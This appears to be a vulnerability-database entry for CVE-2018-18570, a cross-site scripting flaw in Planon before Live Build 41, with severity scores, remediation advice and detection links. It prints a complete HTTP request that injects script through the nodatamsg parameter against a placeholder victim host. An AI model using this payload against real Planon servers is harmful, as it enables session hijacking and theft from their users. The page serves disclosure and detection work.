CVE-2018-18570: Planon

📋 Vulnerability Info 🛡️ Snort Rules

Title	Planon
Author	emadshanab
Severity	Medium
Impact	Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
Remediation	Apply the latest patch or upgrade to a non-vulnerable version of Planon Live Build.
CVSS Score	6.1
EPSS Score	0.11047
CVE ID	CVE-2018-18570
CWE ID	CWE-79
Tags	cve cve2018 xss planon planonsoftware vuln

🔍 Vulnerability Description

Planon before Live Build 41 is vulnerable to cross-site scripting.

🌐 HTTP Request

GET /wicket/resource/nl.planon.pssm.dashboard.cre.engine.wicket.page.AbstractDashboardPage/html/nodata.html?nodatamsg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References

• https://www2.deloitte.com/de/de/pages/risk/articles/planon-cross-site-scripting.html
• https://nvd.nist.gov/vuln/detail/CVE-2018-18570
• https://github.com/ARPSyndicate/kenzer-templates

---

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-18570.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-18570.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A